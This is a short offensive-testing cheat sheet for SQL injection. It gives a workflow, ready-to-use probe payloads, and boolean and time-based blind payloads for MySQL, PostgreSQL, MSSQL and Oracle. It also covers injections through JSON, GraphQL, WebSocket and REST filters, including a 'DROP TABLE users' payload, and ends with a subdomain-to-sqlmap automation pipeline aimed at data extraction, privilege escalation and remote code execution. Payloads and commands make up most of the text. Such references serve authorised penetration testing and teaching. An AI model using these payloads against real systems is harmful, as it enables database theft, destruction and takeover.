SQL Injection, Offensive Testing Methodology

Quick Workflow

1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
3. Identify database type and enumerate schema
4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
5. Document findings and suggest remediation

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Detection

Basic Probes, All Input Vectors

' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Error-Based Detection

Trigger syntax errors to reveal database type and query structure:

'  ''  `  "  ""  ,  %  \

Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.

Boolean-Based Blind

' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --

Observe response size/content differences between true and false conditions.

Time-Based Blind

-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --

JSON Operator Probes

-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'

GraphQL → SQLi Pivot

{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}

WebSocket SQLi

const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');

REST API Filter Injection

POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

---

Automation Workflow

# Full pipeline
sublist3r -d target | tee domains
cat domains | httpx | tee alive
cat alive | waybackurls | tee urls
gf sqli urls >> sqli
sqlmap -m sqli --dbs --batch